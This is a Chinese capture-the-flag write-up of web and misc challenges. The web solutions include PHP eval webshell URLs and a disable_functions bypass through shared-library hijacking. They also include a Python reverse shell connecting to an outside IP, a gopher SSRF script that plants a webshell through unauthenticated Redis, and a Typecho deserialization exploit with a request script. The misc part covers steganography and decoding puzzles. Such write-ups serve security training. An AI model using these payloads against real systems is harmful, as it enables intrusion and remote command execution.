WEB 1.Check IN
进去就是一个马
执行phpinfo后发现,禁用了执行命令的系统函数,但putenv未被禁用,所以想到劫持动态库执行命令。
先用蚁剑连接
构造如下URL,http://384607b7-c341-452f-b732-101819a34a69.node3.buuoj.cn/?Ginkgo=QGV2YWwoJF9QT1NUWydhJ10pOw==密码是a
或者修改编码器
上传恶意so文件和bypass.php 接着读flag
http://384607b7-c341-452f-b732-101819a34a69.node3.buuoj.cn/?Ginkgo=QGV2YWwoJF9HRVRbJ2EnXSk7Cg==&a=include(%27/var/tmp/1.php%27);&cmd=./../../../readflag&outpath=/tmp/123.txt&sopath=/var/tmp/1.so
2.老八小超市儿 用的是shopxo模板,这里有个后台Getshell的漏洞。具体看这篇文章
拿到shell用蚁剑连
http://20e6504f-9a68-4272-b02b-4de366165b48.node3.buuoj.cn/public/static/index/default/1.php
然后发现根目录下有flag
告诉我们flag在根目录
flag.hint有点奇怪
直到看到auto.sh,原来是个定时任务
接着修改makeflaghint.py遍历/root/
1 2 3 4 5 6 7 8 9 10 11 12 13 path_list = [] def get_all (path) : paths = os.listdir(path) for i in paths: com_path = os.path.join(path,i) if os.path.isdir(com_path): get_all(com_path) elif os.path.isfile(com_path): path_list.append(com_path) with open('/flag.hint' ,'a' ) as f: f.write(com_path+'\n' ) print(com_path) get_all(path=r'/root' )
发现flag接着读取就行
1 2 3 4 5 6 f1=open ("/root/flag" ) aaa=f1.read () f1.close () with open ('/flag.hint' ,'a' ) as f: f.write (aaa+'\n' ) print("D" )
后面看官方WP是反弹shell
1 2 3 4 5 6 7 import socket,subprocess,oss=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("174.1.118.22" ,2333 )) os.dup2(s.fileno(),0 ) os.dup2(s.fileno(),1 ) os.dup2(s.fileno(),2 ) p=subprocess.call(["/bin/sh" ,"-i" ])
3.CVE版签到 开始没看懂这题在干啥,后面提示CVE-2020-7066 gethead函数存在%00截断
就试了文章里的Payload发现啥也没有。直到看了WP才发现原来都是Burp的锅
这题确实签到(放了提示),感觉主要考对最新一些的CVE的了解。偏实战,爱了爱了。
4.EZ三剑客-EzWeb 这题SSRF+redis未授权,但是shell死活收不到。后面看WP发现是独立于单容器的内网,内网靶机收不到反弹shell。所以是直接写webshell。
开局就叫你输入URL,八成是个SSRF,就随意输入了127.0.0.1,发现被禁了。然后就想着怎么绕(后面发现不用。。。)
发现0x7f000001
可以绕过。后面用Burp抓包,想扫描下本机端口,看到才看到secret这个参数
得到了本机的内网IP
这样一看肯定就不是本机的端口渗透,应该在内网的其他机器上,然后内网探测,很明显的提示了
然后就随意测了下6379端口,发现有戏
直接用脚本生成payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 /usr/bin/python3.8 import urllibprotocol="gopher://" ip="173.31.59.11" port="6379" shell="\n\n<?php eval($_GET['a']);?>\n\n" filename="1.php" path="/var/www/html" passwd="" cmd=["flushall" , "set 1 {}" .format(shell.replace(" " ,"${IFS}" )), "config set dir {}" .format(path), "config set dbfilename {}" .format(filename), "save" ] if passwd: cmd.insert(0 ,"AUTH {}" .format(passwd)) payload=protocol+ip+":" +port+"/_" def redis_format (arr) : CRLF="\r\n" redis_arr = arr.split(" " ) cmd="" cmd+="*" +str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$" +str(len((x.replace("${IFS}" ," " ))))+CRLF+x.replace("${IFS}" ," " ) cmd+=CRLF return cmd if __name__=="__main__" : for x in cmd: payload += urllib.request.quote(redis_format(x)) print(payload)
接着测试webshell
5.EZ三剑客-EzTypecho 拿到题目源码后发现是0.9版本,先去github下了个0.9版本,然后用对比工具比较install.php
发现session_start();
被注释
关键代码
首先要反序列化就要SESSION,但session_start();
被注释,可以通过以下方法绕过
Typecho反序列化的文章
poc.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php $CMD = 'system("cat /flag")' ; class Typecho_Feed { const RSS2 = 'RSS 2.0' ; const ATOM1 = 'ATOM 1.0' ; private $_type; private $_items; public function __construct () { $this ->_type = $this ::ATOM1; $this ->_items[0 ] = array ( 'category' => array (new Typecho_Request()), 'author' => new Typecho_Request(), ); } } class Typecho_Request { private $_params = array (); private $_filter = array (); public function __construct () { $this ->_params['screenName' ] = $GLOBALS[CMD]; $this ->_filter[0 ] = 'assert' ; } } $exp = array ( 'adapter' => new Typecho_Feed(), 'prefix' => 'typecho_' ); echo base64_encode(serialize($exp));?>
exp.py
1 2 3 4 5 6 7 import requestsurl='http://97caa567-ba9d-4f95-825b-14bebe796a6e.node3.buuoj.cn/install.php?finish=1' files={'file' :123 } headers={'cookie' :'PHPSESSID=test;__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6Mjp7czo4OiJjYXRlZ29yeSI7YToxOntpOjA7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czoxOToic3lzdGVtKCJjYXQgL2ZsYWciKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjE5OiJzeXN0ZW0oImNhdCAvZmxhZyIpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19fX1zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ==' , 'Referer' :'http://97caa567-ba9d-4f95-825b-14bebe796a6e.node3.buuoj.cn/install.php' } re=requests.post(url,files=files,headers=headers,data={"PHP_SESSION_UPLOAD_PROGRESS" : "123456789" }) print(re.text)
6.EZ三剑客-EzNode 首先看源码,发现delay被设置的很大,执行命令会超时,在node.js文档中 指出 当
delay大于
2147483647或小于
1时,则
delay将会被设置为
1。 非整数的 delay 会被截断为整数
然后题目很奇怪给了包的版本信息,感觉应该是 有公开漏洞
在github advisories 找到了漏洞信息
MISC 1. Pokémon GBA游戏,直接去103号道路,道路上就是flag
2.Harley Quinn 题目信息隐藏的挺细致的,导致一直懵逼。
先是压缩包的属性里有解密的信息
然后根据题目描述下载Free_File_Camouflage V1.25
解压后,有个wav音频文件,属性里也有信息
提示密码有21位
音频用Sonic Visualiser打开后发现末尾有播音号 可以自己手动解,或者用
接着用九宫格密码解
222按3下2键就是c,后面同理
最后解出 ctfisfun
然后用然后用软件
3.code obfuscation 附件是个扭曲的二维码
然后binwalke可以分解出个要密码压缩包
接着修图,ps打开图片,选定好需要变换的区域,右键自由变换后再扭曲,然后截取下来
接着matlab处理
扫出来 base(gkctf)
试了下解不了,可能要baseXX编码。然后用base58解出来了
解压后得到两个文件一个是js代码,一个是密文
js代码经过 混淆,利用在线工具 解密后得到解密后的js代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 for n in a b c d e f g h i j k l m n o p q r s t u v w x y z do eval An = "n" done for n in A B C D E F G H I J K L M N O P Q R S T U V W X Y Z do eval An = "n" done num = 0 for n in a b c d e f g h i j do eval Bn = "n" num = $((num + 1 )) done alert("Bk=' ';Bm='" ';Bn='# ';Bs=' (';Bt=' ) ';By=' . ';Cb=' ; ';Cc=' < ';Ce=' > ';Cl=' _ ';Cn=' { ';Cp=' } ';Da=' 0 ';Db=' 1 ';Dc=' 2 ';Dd=' 3 ';De=' 4 ';Df=' 5 ';Dg=' 6 ';Dh=' 7 ';Di=' 8 ';Dj=' 9 ';")
解密脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 b = "Bn$Ai$An$Ac$Al$Au$Ad$Ae$Bk$Cc$As$At$Ad$Ai$Ao$By$Ah$Ce$Ai$An$At$Bk$Am$Aa$Ai$An$Bs$Bt$Cn$Ap$Ar$Ai$An$At$Bs$Bm$Aw$Dd$Al$Ac$Da$Am$Ae$Cl$De$Ao$Cl$Dj$Ak$Ac$At$Df$Bm$Bt$Cb$Ar$Ae$At$Au$Ar$An$Bk$Da$Cb$Cp" c = {"Bk" : ' ' , "Bm" : '"' , "Bn" : '#' , "Bs" : '(' , "Bt" : ')' , "By" : '.' , "Cb" : ',' , "Cc" : '<' , "Ce" : '>' , "Cl" : '_' , "Cn" : '{' , "Cp" : '}' , "Da" : '0' , "Db" : '1' , "Dc" : '2' , "Dd" : '3' , "De" : '4' , "Df" : '5' , "Dg" : '6' , "Dh" : '7' , "Di" : '8' , "Dj" : '9' } f = "" for i in b.split('$' ): if i in c.keys(): f = f + c[i] else : f = f + i[1 ] print(f)
4.Sail a boat down the river 直接用命令分解视频
然后从118帧开始观察亮点,短是1帧,长是3帧
摩斯解码
第465帧有个二维码,扫码是个百度盘链接
打开,提取码YW8G
然后玩数独,根据提示得到密钥
52693795149137
加密是AES(hex),坑点是字符集 gb18030/ISO10126
解开压缩包,得到 逆光vocal.ovex
用打谱软件打开就有flag。真心想不到